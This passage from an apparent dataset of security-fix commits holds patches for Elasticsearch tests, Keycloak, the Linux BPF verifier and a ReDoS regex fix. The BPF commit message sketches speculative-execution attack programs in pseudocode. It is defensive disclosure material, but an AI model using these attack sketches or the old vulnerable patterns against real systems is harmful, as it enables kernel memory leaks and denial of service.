randomFrom(org.elasticsearch.common.collect.List.of(\n+ new String[] { \"test\" }, new String[] { \"fls-index\", \"test\" }, new String[] { \"test\", \"fls-index\" }));\n+\n Exception e = expectThrows(ElasticsearchSecurityException.class, () -> client()\n- .filterWithHeader(Collections.singletonMap(BASIC_AUTH_HEADER, basicAuthHeaderValue(\"user2\", USERS_PASSWD)))\n- .prepareSearch(\"test\")\n+ .filterWithHeader(Collections.singletonMap(BASIC_AUTH_HEADER, basicAuthHeaderValue(\"user5\", USERS_PASSWD)))\n+ .prepareSearch(indices)\n .suggest(new SuggestBuilder()\n .setGlobalText(\"valeu\")\n .addSuggestion(\"_name1\", new TermSuggestionBuilder(\"suggest_field1\"))\n@@ -1318,8 +1343,8 @@ public void testSuggesters() throws Exception {\n assertThat(phraseSuggestion.getEntries().get(0).getOptions().get(0).getText().string(), equalTo(\"value\"));\n \n e = expectThrows(ElasticsearchSecurityException.class, () -> client()\n- .filterWithHeader(Collections.singletonMap(BASIC_AUTH_HEADER, basicAuthHeaderValue(\"user2\", USERS_PASSWD)))\n- .prepareSearch(\"test\")\n+ .filterWithHeader(Collections.singletonMap(BASIC_AUTH_HEADER, basicAuthHeaderValue(\"user5\", USERS_PASSWD)))\n+ .prepareSearch(indices)\n .suggest(new SuggestBuilder()\n .setGlobalText(\"valeu\")\n .addSuggestion(\"_name1\", new PhraseSuggestionBuilder(\"suggest_field1\"))\n@@ -1342,8 +1367,8 @@ public void testSuggesters() throws Exception {\n assertThat(completionSuggestion.getEntries().get(0).getOptions().get(0).getText().string(), equalTo(\"value\"));\n \n e = expectThrows(ElasticsearchSecurityException.class, () -> client()\n- .filterWithHeader(Collections.singletonMap(BASIC_AUTH_HEADER, basicAuthHeaderValue(\"user2\", USERS_PASSWD)))\n- .prepareSearch(\"test\")\n+ .filterWithHeader(Collections.singletonMap(BASIC_AUTH_HEADER, basicAuthHeaderValue(\"user5\", USERS_PASSWD)))\n+ .prepareSearch(indices)\n .suggest(new SuggestBuilder()\n .setGlobalText(\"valeu\")\n .addSuggestion(\"_name1\", new CompletionSuggestionBuilder(\"suggest_field2\"))\n@@ -1373,6 +1398,14 @@ public void testProfile() throws Exception {\n .endObject()).get();\n refresh(\"test\");\n \n+ assertAcked(client().admin().indices().prepareCreate(\"fls-index\")\n+ .setSettings(Settings.builder()\n+ .put(\"index.number_of_shards\", 1)\n+ .put(\"index.number_of_replicas\", 0)\n+ )\n+ .addMapping(\"type1\", \"field1\", \"type=text\", \"other_field\", \"type=text\", \"yet_another\", \"type=text\")\n+ );\n+\n SearchResponse response = client()\n .prepareSearch(\"test\")\n .setProfile(true)\n@@ -1389,9 +1422,12 @@ public void testProfile() throws Exception {\n // ProfileResult profileResult = queryProfileShardResult.getQueryResults().get(0);\n // assertThat(profileResult.getLuceneDescription(), equalTo(\"(other_field:value)^0.8\"));\n \n+ final String[] indices =\n+ randomFrom(org.elasticsearch.common.collect.List.of(\n+ new String[] { \"test\" }, new String[] { \"fls-index\", \"test\" }, new String[] { \"test\", \"fls-index\" }));\n Exception e = expectThrows(ElasticsearchSecurityException.class, () -> client()\n- .filterWithHeader(Collections.singletonMap(BASIC_AUTH_HEADER, basicAuthHeaderValue(\"user2\", USERS_PASSWD)))\n- .prepareSearch(\"test\")\n+ .filterWithHeader(Collections.singletonMap(BASIC_AUTH_HEADER, basicAuthHeaderValue(\"user5\", USERS_PASSWD)))\n+ .prepareSearch(indices)\n .setProfile(true)\n .setQuery(new FuzzyQueryBuilder(\"other_field\", \"valeu\"))\n .get());", "sections": [{"section": "@@ -129,7 +129,8 @@ protected String configUsers() {\n \"user1:\" + usersPasswdHashed + \"\\n\" +\n \"user2:\" + usersPasswdHashed + \"\\n\" +\n \"user3:\" + usersPasswdHashed + \"\\n\" +\n- \"user4:\" + usersPasswdHashed + \"\\n\";\n+ \"user4:\" + usersPasswdHashed + \"\\n\" +\n+ \"user5:\" + usersPasswdHashed + \"\\n\";\n }\n \n @Override\n", "related": false}, {"section": "@@ -138,7 +139,8 @@ protected String configUsersRoles() {\n \"role1:user1,user2,user3\\n\" +\n \"role2:user1,user3\\n\" +\n \"role3:user2,user3\\n\" +\n- \"role4:user4\\n\";\n+ \"role4:user4\\n\" +\n+ \"role5:user5\\n\";\n }\n \n @Override\n", "related": false}, {"section": "@@ -171,7 +173,17 @@ protected String configRoles() {\n \" - names: '*'\\n\" +\n \" privileges: [ ALL ]\\n\" +\n // query that can match nested documents\n- \" query: '{\\\"bool\\\": { \\\"must_not\\\": { \\\"term\\\" : {\\\"field1\\\" : \\\"value2\\\"}}}}'\";\n+ \" query: '{\\\"bool\\\": { \\\"must_not\\\": { \\\"term\\\" : {\\\"field1\\\" : \\\"value2\\\"}}}}'\\n\" +\n+ \"role5:\\n\" +\n+ \" cluster: [ all ]\\n\" +\n+ \" indices:\\n\" +\n+ \" - names: [ 'test' ]\\n\" +\n+ \" privileges: [ read ]\\n\" +\n+ \" query: '{\\\"term\\\" : {\\\"field2\\\" : \\\"value2\\\"}}'\\n\" +\n+ \" - names: [ 'fls-index' ]\\n\" +\n+ \" privileges: [ read ]\\n\" +\n+ \" field_security:\\n\" +\n+ \" grant: [ 'field1', 'other_field', 'suggest_field2' ]\\n\";\n }\n \n @Override\n", "related": false}, {"section": "@@ -1278,6 +1290,15 @@ public void testSuggesters() throws Exception {\n .endObject()).get();\n refresh(\"test\");\n \n+ assertAcked(client().admin().indices().prepareCreate(\"fls-index\")\n+ .setSettings(Settings.builder()\n+ .put(\"index.number_of_shards\", 1)\n+ .put(\"index.number_of_replicas\", 0)\n+ )\n+ .addMapping(\"type1\", \"field1\", \"type=text\", \"suggest_field1\", \"type=text\", \"suggest_field2\", \"type=completion\",\n+ \"yet_another\", \"type=text\")\n+ );\n+\n // Term suggester:\n SearchResponse response = client()\n .prepareSearch(\"test\")\n", "related": false}, {"section": "@@ -1293,9 +1314,13 @@ public void testSuggesters() throws Exception {\n assertThat(termSuggestion.getEntries().get(0).getOptions().size(), equalTo(1));\n assertThat(termSuggestion.getEntries().get(0).getOptions().get(0).getText().string(), equalTo(\"value\"));\n \n+ final String[] indices =\n+ randomFrom(org.elasticsearch.common.collect.List.of(\n+ new String[] { \"test\" }, new String[] { \"fls-index\", \"test\" }, new String[] { \"test\", \"fls-index\" }));\n+\n Exception e = expectThrows(ElasticsearchSecurityException.class, () -> client()\n- .filterWithHeader(Collections.singletonMap(BASIC_AUTH_HEADER, basicAuthHeaderValue(\"user2\", USERS_PASSWD)))\n- .prepareSearch(\"test\")\n+ .filterWithHeader(Collections.singletonMap(BASIC_AUTH_HEADER, basicAuthHeaderValue(\"user5\", USERS_PASSWD)))\n+ .prepareSearch(indices)\n .suggest(new SuggestBuilder()\n .setGlobalText(\"valeu\")\n .addSuggestion(\"_name1\", new TermSuggestionBuilder(\"suggest_field1\"))\n", "related": false}, {"section": "@@ -1318,8 +1343,8 @@ public void testSuggesters() throws Exception {\n assertThat(phraseSuggestion.getEntries().get(0).getOptions().get(0).getText().string(), equalTo(\"value\"));\n \n e = expectThrows(ElasticsearchSecurityException.class, () -> client()\n- .filterWithHeader(Collections.singletonMap(BASIC_AUTH_HEADER, basicAuthHeaderValue(\"user2\", USERS_PASSWD)))\n- .prepareSearch(\"test\")\n+ .filterWithHeader(Collections.singletonMap(BASIC_AUTH_HEADER, basicAuthHeaderValue(\"user5\", USERS_PASSWD)))\n+ .prepareSearch(indices)\n .suggest(new SuggestBuilder()\n .setGlobalText(\"valeu\")\n .addSuggestion(\"_name1\", new PhraseSuggestionBuilder(\"suggest_field1\"))\n", "related": false}, {"section": "@@ -1342,8 +1367,8 @@ public void testSuggesters() throws Exception {\n assertThat(completionSuggestion.getEntries().get(0).getOptions().get(0).getText().string(), equalTo(\"value\"));\n \n e = expectThrows(ElasticsearchSecurityException.class, () -> client()\n- .filterWithHeader(Collections.singletonMap(BASIC_AUTH_HEADER, basicAuthHeaderValue(\"user2\", USERS_PASSWD)))\n- .prepareSearch(\"test\")\n+ .filterWithHeader(Collections.singletonMap(BASIC_AUTH_HEADER, basicAuthHeaderValue(\"user5\", USERS_PASSWD)))\n+ .prepareSearch(indices)\n .suggest(new SuggestBuilder()\n .setGlobalText(\"valeu\")\n .addSuggestion(\"_name1\", new CompletionSuggestionBuilder(\"suggest_field2\"))\n", "related": false}, {"section": "@@ -1373,6 +1398,14 @@ public void testProfile() throws Exception {\n .endObject()).get();\n refresh(\"test\");\n \n+ assertAcked(client().admin().indices().prepareCreate(\"fls-index\")\n+ .setSettings(Settings.builder()\n+ .put(\"index.number_of_shards\", 1)\n+ .put(\"index.number_of_replicas\", 0)\n+ )\n+ .addMapping(\"type1\", \"field1\", \"type=text\", \"other_field\", \"type=text\", \"yet_another\", \"type=text\")\n+ );\n+\n SearchResponse response = client()\n .prepareSearch(\"test\")\n .setProfile(true)\n", "related": false}, {"section": "@@ -1389,9 +1422,12 @@ public void testProfile() throws Exception {\n // ProfileResult profileResult = queryProfileShardResult.getQueryResults().get(0);\n // assertThat(profileResult.getLuceneDescription(), equalTo(\"(other_field:value)^0.8\"));\n \n+ final String[] indices =\n+ randomFrom(org.elasticsearch.common.collect.List.of(\n+ new String[] { \"test\" }, new String[] { \"fls-index\", \"test\" }, new String[] { \"test\", \"fls-index\" }));\n Exception e = expectThrows(ElasticsearchSecurityException.class, () -> client()\n- .filterWithHeader(Collections.singletonMap(BASIC_AUTH_HEADER, basicAuthHeaderValue(\"user2\", USERS_PASSWD)))\n- .prepareSearch(\"test\")\n+ .filterWithHeader(Collections.singletonMap(BASIC_AUTH_HEADER, basicAuthHeaderValue(\"user5\", USERS_PASSWD)))\n+ .prepareSearch(indices)\n .setProfile(true)\n .setQuery(new FuzzyQueryBuilder(\"other_field\", \"valeu\"))\n .get());", "related": false}]} +{"owner": "keycloak", "repo": "keycloak", "language": "Java", "file_name": "services/src/main/java/org/keycloak/exportimport/dir/DirExportProvider.java", "commit_id": "853a6d73276849877819f2dc23133557f6e1e601", "commit_message": "KEYCLOAK-17000 Adding server tmp directory inside the auth-server home directory", "patch": "@@ -22,6 +22,7 @@\n import org.keycloak.models.KeycloakSession;\n import org.keycloak.models.RealmModel;\n import org.keycloak.models.UserModel;\n+import org.keycloak.platform.Platform;\n import org.keycloak.representations.idm.RealmRepresentation;\n import org.keycloak.util.JsonSerialization;\n \n@@ -38,10 +39,8 @@ public class DirExportProvider extends MultipleStepsExportProvider {\n private final File rootDirectory;\n \n public DirExportProvider() {\n- // Determine system tmp directory\n- String tempDir = System.getProperty(\"java.io.tmpdir\");\n-\n- this.rootDirectory = new File(tempDir + \"/keycloak-export\");\n+ // Determine platform tmp directory\n+ this.rootDirectory = new File(Platform.getPlatform().getTmpDirectory(), \"keycloak-export\");\n this.rootDirectory.mkdirs();\n \n logger.infof(\"Exporting into directory %s\", this.rootDirectory.getAbsolutePath());", "sections": [{"section": "@@ -22,6 +22,7 @@\n import org.keycloak.models.KeycloakSession;\n import org.keycloak.models.RealmModel;\n import org.keycloak.models.UserModel;\n+import org.keycloak.platform.Platform;\n import org.keycloak.representations.idm.RealmRepresentation;\n import org.keycloak.util.JsonSerialization;\n \n", "related": false}, {"section": "@@ -38,10 +39,8 @@ public class DirExportProvider extends MultipleStepsExportProvider {\n private final File rootDirectory;\n \n public DirExportProvider() {\n- // Determine system tmp directory\n- String tempDir = System.getProperty(\"java.io.tmpdir\");\n-\n- this.rootDirectory = new File(tempDir + \"/keycloak-export\");\n+ // Determine platform tmp directory\n+ this.rootDirectory = new File(Platform.getPlatform().getTmpDirectory(), \"keycloak-export\");\n this.rootDirectory.mkdirs();\n \n logger.infof(\"Exporting into directory %s\", this.rootDirectory.getAbsolutePath());", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "kernel/bpf/verifier.c", "commit_id": "9183671af6dbf60a1219371d4ed73e23f43b49db", "commit_message": "bpf: Fix leakage under speculation on mispredicted branches\n\nThe verifier only enumerates valid control-flow paths and skips paths that\nare unreachable in the non-speculative domain. And so it can miss issues\nunder speculative execution on mispredicted branches.\n\nFor example, a type confusion has been demonstrated with the following\ncrafted program:\n\n // r0 = pointer to a map array entry\n // r6 = pointer to readable stack slot\n // r9 = scalar controlled by attacker\n 1: r0 = *(u64 *)(r0) // cache miss\n 2: if r0 != 0x0 goto line 4\n 3: r6 = r9\n 4: if r0 != 0x1 goto line 6\n 5: r9 = *(u8 *)(r6)\n 6: // leak r9\n\nSince line 3 runs iff r0 == 0 and line 5 runs iff r0 == 1, the verifier\nconcludes that the pointer dereference on line 5 is safe. But: if the\nattacker trains both the branches to fall-through, such that the following\nis speculatively executed ...\n\n r6 = r9\n r9 = *(u8 *)(r6)\n // leak r9\n\n... then the program will dereference an attacker-controlled value and could\nleak its content under speculative execution via side-channel. This requires\nto mistrain the branch predictor, which can be rather tricky, because the\nbranches are mutually exclusive. However such training can be done at\ncongruent addresses in user space using different branches that are not\nmutually exclusive. That is, by training branches in user space ...\n\n A: if r0 != 0x0 goto line C\n B: ...\n C: if r0 != 0x0 goto line D\n D: ...\n\n... such that addresses A and C collide to the same CPU branch prediction\nentries in the PHT (pattern history table) as those of the BPF program's\nlines 2 and 4, respectively. A non-privileged attacker could simply brute\nforce such collisions in the PHT until observing the attack succeeding.\n\nAlternative methods to mistrain the branch predictor are also possible that\navoid brute forcing the collisions in the PHT. A reliable attack has been\ndemonstrated, for example, using the following crafted program:\n\n // r0 = pointer to a [control] map array entry\n // r7 = *(u64 *)(r0 + 0), training/attack phase\n // r8 = *(u64 *)(r0 + 8), oob address\n // [...]\n // r0 = pointer to a [data] map array entry\n 1: if r7 == 0x3 goto line 3\n 2: r8 = r0\n // crafted sequence of conditional jumps to separate the conditional\n // branch in line 193 from the current execution flow\n 3: if r0 != 0x0 goto line 5\n 4: if r0 == 0x0 goto exit\n 5: if r0 != 0x0 goto line 7\n 6: if r0 == 0x0 goto exit\n [...]\n 187: if r0 != 0x0 goto line 189\n 188: if r0 == 0x0 goto exit\n // load any slowly-loaded value (due to cache miss in phase 3) ...\n 189: r3 = *(u64 *)(r0 + 0x1200)\n // ... and turn it into known zero for verifier, while preserving slowly-\n // loaded dependency when executing:\n 190: r3 &= 1\n 191: r3 &= 2\n // speculatively bypassed phase dependency\n 192: r7 += r3\n 193: if r7 == 0x3 goto exit\n 194: r4 = *(u8 *)(r8 + 0)\n // leak r4\n\nAs can be seen, in training phase (phase != 0x3), the condition in line 1\nturns into false and therefore r8 with the oob address is overridden with\nthe valid map value address, which in line 194 we can read out without\nissues. However, in attack phase, line 2 is skipped, and due to the cache\nmiss in line 189 where the map value is (zeroed and later) added to the\nphase register, the condition in line 193 takes the fall-through path due\nto prior branch predictor training, where under speculation, it'll load the\nbyte at oob address r8 (unknown scalar type at that point) which could then\nbe leaked via side-channel.\n\nOne way to mitigate these is to 'branch off' an unreachable path, meaning,\nthe current verification path keeps following the is_branch_taken() path\nand we push the other branch to the verification stack. Given this is\nunreachable from the non-speculative domain, this branch's vstate is\nexplicitly marked as speculative. This is needed for two reasons: i) if\nthis path is solely seen from speculative execution, then we later on still\nwant the dead code elimination to kick in in order to sanitize these\ninstructions with jmp-1s, and ii) to ensure that paths walked in the\nnon-speculative domain are not pruned from earlier walks of paths walked in\nthe speculative domain. Additionally, for robustness, we mark the registers\nwhich have been part of the conditional as unknown in the speculative path\ngiven there should be no assumptions made on their content.\n\nThe fix in here mitigates type confusion attacks described earlier due to\ni) all code paths in the BPF program being explored and ii) existing\nverifier logic already ensuring that given memory access instruction\nreferences one specific data structure.\n\nAn alternative to this fix that has also been looked at in this scope was to\nmark aux->alu_state at the jump instruction with a BPF_JMP_TAKEN state as\nwell as direction encoding (always-goto, always-fallthrough, unknown), such\nthat mixing of different always-* directions themselves as well as mixing of\nalways-* with unknown directions would cause a program rejection by the\nverifier, e.g. programs with constructs like 'if ([...]) { x = 0; } else\n{ x = 1; }' with subsequent 'if (x == 1) { [...] }'. For unprivileged, this\nwould result in only single direction always-* taken paths, and unknown taken\npaths being allowed, such that the former could be patched from a conditional\njump to an unconditional jump (ja). Compared to this approach here, it would\nhave two downsides: i) valid programs that otherwise are not performing any\npointer arithmetic, etc, would potentially be rejected/broken, and ii) we are\nrequired to turn off path pruning for unprivileged, where both can be avoided\nin this work through pushing the invalid branch to the verification stack.\n\nThe issue was originally discovered by Adam and Ofek, and later independently\ndiscovered and reported as a result of Benedict and Piotr's research work.\n\nFixes: b2157399cc98 (\"bpf: prevent out-of-bounds speculation\")\nReported-by: Adam Morrison \nReported-by: Ofek Kirzner \nReported-by: Benedict Schlueter \nReported-by: Piotr Krysiuk \nSigned-off-by: Daniel Borkmann \nReviewed-by: John Fastabend \nReviewed-by: Benedict Schlueter \nReviewed-by: Piotr Krysiuk \nAcked-by: Alexei Starovoitov ", "patch": "@@ -6483,6 +6483,27 @@ struct bpf_sanitize_info {\n \tbool mask_to_left;\n };\n \n+static struct bpf_verifier_state *\n+sanitize_speculative_path(struct bpf_verifier_env *env,\n+\t\t\t const struct bpf_insn *insn,\n+\t\t\t u32 next_idx, u32 curr_idx)\n+{\n+\tstruct bpf_verifier_state *branch;\n+\tstruct bpf_reg_state *regs;\n+\n+\tbranch = push_stack(env, next_idx, curr_idx, true);\n+\tif (branch && insn) {\n+\t\tregs = branch->frame[branch->curframe]->regs;\n+\t\tif (BPF_SRC(insn->code) == BPF_K) {\n+\t\t\tmark_reg_unknown(env, regs, insn->dst_reg);\n+\t\t} else if (BPF_SRC(insn->code) == BPF_X) {\n+\t\t\tmark_reg_unknown(env, regs, insn->dst_reg);\n+\t\t\tmark_reg_unknown(env, regs, insn->src_reg);\n+\t\t}\n+\t}\n+\treturn branch;\n+}\n+\n static int sanitize_ptr_alu(struct bpf_verifier_env *env,\n \t\t\t struct bpf_insn *insn,\n \t\t\t const struct bpf_reg_state *ptr_reg,\n@@ -6566,7 +6587,8 @@ static int sanitize_ptr_alu(struct bpf_verifier_env *env,\n \t\ttmp = *dst_reg;\n \t\t*dst_reg = *ptr_reg;\n \t}\n-\tret = push_stack(env, env->insn_idx + 1, env->insn_idx, true);\n+\tret = sanitize_speculative_path(env, NULL, env->insn_idx + 1,\n+\t\t\t\t\tenv->insn_idx);\n \tif (!ptr_is_dst_reg && ret)\n \t\t*dst_reg = tmp;\n \treturn !ret ? REASON_STACK : 0;\n@@ -8763,14 +8785,28 @@ static int check_cond_jmp_op(struct bpf_verifier_env *env,\n \t\tif (err)\n \t\t\treturn err;\n \t}\n+\n \tif (pred == 1) {\n-\t\t/* only follow the goto, ignore fall-through */\n+\t\t/* Only follow the goto, ignore fall-through. If needed, push\n+\t\t * the fall-through branch for simulation under speculative\n+\t\t * execution.\n+\t\t */\n+\t\tif (!env->bypass_spec_v1 &&\n+\t\t !sanitize_speculative_path(env, insn, *insn_idx + 1,\n+\t\t\t\t\t *insn_idx))\n+\t\t\treturn -EFAULT;\n \t\t*insn_idx += insn->off;\n \t\treturn 0;\n \t} else if (pred == 0) {\n-\t\t/* only follow fall-through branch, since\n-\t\t * that's where the program will go\n+\t\t/* Only follow the fall-through branch, since that's where the\n+\t\t * program will go. If needed, push the goto branch for\n+\t\t * simulation under speculative execution.\n \t\t */\n+\t\tif (!env->bypass_spec_v1 &&\n+\t\t !sanitize_speculative_path(env, insn,\n+\t\t\t\t\t *insn_idx + insn->off + 1,\n+\t\t\t\t\t *insn_idx))\n+\t\t\treturn -EFAULT;\n \t\treturn 0;\n \t}\n ", "sections": [{"section": "@@ -6483,6 +6483,27 @@ struct bpf_sanitize_info {\n \tbool mask_to_left;\n };\n \n+static struct bpf_verifier_state *\n+sanitize_speculative_path(struct bpf_verifier_env *env,\n+\t\t\t const struct bpf_insn *insn,\n+\t\t\t u32 next_idx, u32 curr_idx)\n+{\n+\tstruct bpf_verifier_state *branch;\n+\tstruct bpf_reg_state *regs;\n+\n+\tbranch = push_stack(env, next_idx, curr_idx, true);\n+\tif (branch && insn) {\n+\t\tregs = branch->frame[branch->curframe]->regs;\n+\t\tif (BPF_SRC(insn->code) == BPF_K) {\n+\t\t\tmark_reg_unknown(env, regs, insn->dst_reg);\n+\t\t} else if (BPF_SRC(insn->code) == BPF_X) {\n+\t\t\tmark_reg_unknown(env, regs, insn->dst_reg);\n+\t\t\tmark_reg_unknown(env, regs, insn->src_reg);\n+\t\t}\n+\t}\n+\treturn branch;\n+}\n+\n static int sanitize_ptr_alu(struct bpf_verifier_env *env,\n \t\t\t struct bpf_insn *insn,\n \t\t\t const struct bpf_reg_state *ptr_reg,\n", "related": false}, {"section": "@@ -6566,7 +6587,8 @@ static int sanitize_ptr_alu(struct bpf_verifier_env *env,\n \t\ttmp = *dst_reg;\n \t\t*dst_reg = *ptr_reg;\n \t}\n-\tret = push_stack(env, env->insn_idx + 1, env->insn_idx, true);\n+\tret = sanitize_speculative_path(env, NULL, env->insn_idx + 1,\n+\t\t\t\t\tenv->insn_idx);\n \tif (!ptr_is_dst_reg && ret)\n \t\t*dst_reg = tmp;\n \treturn !ret ? REASON_STACK : 0;\n", "related": false}, {"section": "@@ -8763,14 +8785,28 @@ static int check_cond_jmp_op(struct bpf_verifier_env *env,\n \t\tif (err)\n \t\t\treturn err;\n \t}\n+\n \tif (pred == 1) {\n-\t\t/* only follow the goto, ignore fall-through */\n+\t\t/* Only follow the goto, ignore fall-through. If needed, push\n+\t\t * the fall-through branch for simulation under speculative\n+\t\t * execution.\n+\t\t */\n+\t\tif (!env->bypass_spec_v1 &&\n+\t\t !sanitize_speculative_path(env, insn, *insn_idx + 1,\n+\t\t\t\t\t *insn_idx))\n+\t\t\treturn -EFAULT;\n \t\t*insn_idx += insn->off;\n \t\treturn 0;\n \t} else if (pred == 0) {\n-\t\t/* only follow fall-through branch, since\n-\t\t * that's where the program will go\n+\t\t/* Only follow the fall-through branch, since that's where the\n+\t\t * program will go. If needed, push the goto branch for\n+\t\t * simulation under speculative execution.\n \t\t */\n+\t\tif (!env->bypass_spec_v1 &&\n+\t\t !sanitize_speculative_path(env, insn,\n+\t\t\t\t\t *insn_idx + insn->off + 1,\n+\t\t\t\t\t *insn_idx))\n+\t\t\treturn -EFAULT;\n \t\treturn 0;\n \t}\n ", "related": false}]} +{"owner": "fracpete", "repo": "vfsjfilechooser2", "language": "Java", "file_name": "src/main/java/com/googlecode/vfsjfilechooser2/utils/VFSURIValidator.java", "commit_id": "9c9f2c317f3de5ece60a3ae28c371e9796e3909b", "commit_message": "incorporated Yeting Li's fix for Potential Regex Denial of Service (ReDoS), see https://github.com/fracpete/vfsjfilechooser2/issues/7\npasswords can now also contain special characters (eg :), which have to be URL encoded (ie %3A)", "patch": "@@ -2,6 +2,8 @@\n * VFS URIs validator\n *\n * Copyright (C) 2008 Stan Love\n+ * Copyright (C) 2020 University of Waikato, Hamilton, NZ\n+ * Copyright (C) 2020 Yeting Li\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n@@ -233,11 +235,11 @@ else if ((drive != null) && (file == null)) {\n \t\t// \"(ftp|FTP|sftp|SFTP|http|HTTP|https|HTTPS|webdav|WEBDAV|smb|SMB)://(.*?:.*?@)*([^:]+)([ \t]*:[0-9]+)*([ \t]*:)*(/.*)\");\n \t\t//\"(ftp|FTP|sftp|SFTP|http|HTTP|https|HTTPS|webdav|WEBDAV|smb|SMB)://(.+:.+@)*([^:]+)([ \t]*:[0-9]+)*([ \t]*:)*(/.*)\");\n \t\tPattern p_ftp2 = Pattern\n-\t\t\t\t.compile(\"(ftp|FTP|sftp|SFTP|http|HTTP|https|HTTPS|webdav|WEBDAV|smb|SMB)://(.+:.+@)*([^:]+?/*)([ \t]*:[0-9]+)*([ \t]*:)*(/.*)\");\n+\t\t\t\t.compile(\"(ftp|FTP|sftp|SFTP|http|HTTP|https|HTTPS|webdav|WEBDAV|smb|SMB)://([^:@]+:[^:@]+@)*([^:]+?/*)([ ]*:[0-9]+)*([ ]*:)*(/.*)\");\n \t\tMatcher m_ftp2 = p_ftp2.matcher(_uri);\n \n \t\tPattern p_ftp3 = Pattern\n-\t\t\t\t.compile(\"(ftp|FTP|sftp|SFTP|http|HTTP|https|HTTPS|webdav|WEBDAV|smb|SMB)://(.+:.+@)*([^:]+)([ \t]*:[0-9]+)*([ \t]*:)*(/*?.*)\");\n+\t\t\t\t.compile(\"(ftp|FTP|sftp|SFTP|http|HTTP|https|HTTPS|webdav|WEBDAV|smb|SMB)://([^:@]+:[^:@]+@)*([^:]+)([ \t]*:[0-9]+)*([ \t]*:)*(/*?.*)\");\n \t\tMatcher m_ftp3 = p_ftp3.matcher(_uri);\n \n \t\tif (m_ftp2.matches()) {\n@@ -344,6 +346,26 @@ else if ((drive != null) && (file == null)) {\n \t\t\tif (local_pass.startsWith(\":\")) {\n \t\t\t\tlocal_pass = local_pass.substring(1);\n \t\t\t}\n+\t\t\t// decode specials chars (URL encoded %XY)\n+\t\t\tif (local_pass.contains(\"%\")) {\n+\t\t\t\tString tmp_local_pass = local_pass;\n+\t\t\t\tStringBuilder new_local_pass = new StringBuilder();\n+\t\t\t\twhile (tmp_local_pass.contains(\"%\")) {\n+\t\t\t\t\tnew_local_pass.append(tmp_local_pass.substring(0, tmp_local_pass.indexOf('%')));\n+\t\t\t\t\ttmp_local_pass = tmp_local_pass.substring(tmp_local_pass.indexOf('%'));\n+\t\t\t\t\tif (tmp_local_pass.length() >= 3) {\n+\t\t\t\t\t\tchar c = (char) Integer.parseInt(tmp_local_pass.substring(1, 3), 16);\n+\t\t\t\t\t\tnew_local_pass.append(c);\n+\t\t\t\t\t\ttmp_local_pass = tmp_local_pass.substring(3);\n+\t\t\t\t\t}\n+\t\t\t\t\telse {\n+\t\t\t\t\t\tbreak;\n+\t\t\t\t\t}\n+\t\t\t\t}\n+\t\t\t\tif (!tmp_local_pass.isEmpty())\n+\t\t\t\t\tnew_local_pass.append(tmp_local_pass);\n+\t\t\t\tlocal_pass = new_local_pass.toString();\n+\t\t\t}\n \t\t}\n \t\tlocal_hostname = hostname;\n \t\tlocal_port = port;\n@@ -823,26 +845,26 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"ftp://user:pass:@machine/the_file\"; //can \":\" be part of a password?\n+\t\ts = \"ftp://user:pass%3Aa@machine/the_file\"; //if \":\" is part of a password, it must be encoded (: -> %3A)\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n \t\t}\n \t\tv.assertEquals(v.getProtocol(), \"ftp\");\n \t\tv.assertEquals(v.getUser(), \"user\");\n-\t\tv.assertEquals(v.getPassword(), \"pass:\");\n+\t\tv.assertEquals(v.getPassword(), \"pass:a\");\n \t\tv.assertEquals(v.getHostname(), \"machine\");\n \t\tv.assertNull(v.getPort());\n \t\tv.assertEquals(v.getFile(), \"/the_file\");\n \n-\t\ts = \"ftp://user:pass:@machine/the_dir/\";\n+\t\ts = \"ftp://user:pass%3A%3a@machine/the_dir/\";\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n \t\t}\n \t\tv.assertEquals(v.getProtocol(), \"ftp\");\n \t\tv.assertEquals(v.getUser(), \"user\");\n-\t\tv.assertEquals(v.getPassword(), \"pass:\");\n+\t\tv.assertEquals(v.getPassword(), \"pass::\");\n \t\tv.assertEquals(v.getHostname(), \"machine\");\n \t\tv.assertNull(v.getPort());\n \t\tv.assertEquals(v.getFile(), \"/the_dir/\");\n@@ -992,7 +1014,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"FTP://user:pass:@machine/the_file\"; //can \":\" be part of a password?\n+\t\ts = \"FTP://user:pass%3A@machine/the_file\"; //if \":\" is part of a password, it must be encoded (: -> %3A)\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -1004,7 +1026,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertEquals(v.getFile(), \"/the_file\");\n \n-\t\ts = \"FTP://user:pass:@machine/the_dir/\";\n+\t\ts = \"FTP://user:pass%3A@machine/the_dir/\";\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -1161,7 +1183,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"sftp://user:pass:@machine/the_file\"; //can \":\" be part of a password?\n+\t\ts = \"sftp://user:pass%3A@machine/the_file\"; //if \":\" is part of a password, it must be encoded (: -> %3A)\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -1173,7 +1195,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertEquals(v.getFile(), \"/the_file\");\n \n-\t\ts = \"sftp://user:pass:@machine/the_dir/\";\n+\t\ts = \"sftp://user:pass%3A@machine/the_dir/\";\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -1185,7 +1207,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertEquals(v.getFile(), \"/the_dir/\");\n \n-\t\ts = \"sftp: //user:pass:@machine/the_file\"; //failure tests\n+\t\ts = \"sftp: //user:pass%3A@machine/the_file\"; //failure tests\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n@@ -1197,7 +1219,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"sftp:/ /user:pass:@machine/the_file\";\n+\t\ts = \"sftp:/ /user:pass%3A@machine/the_file\";\n \n \t\tif 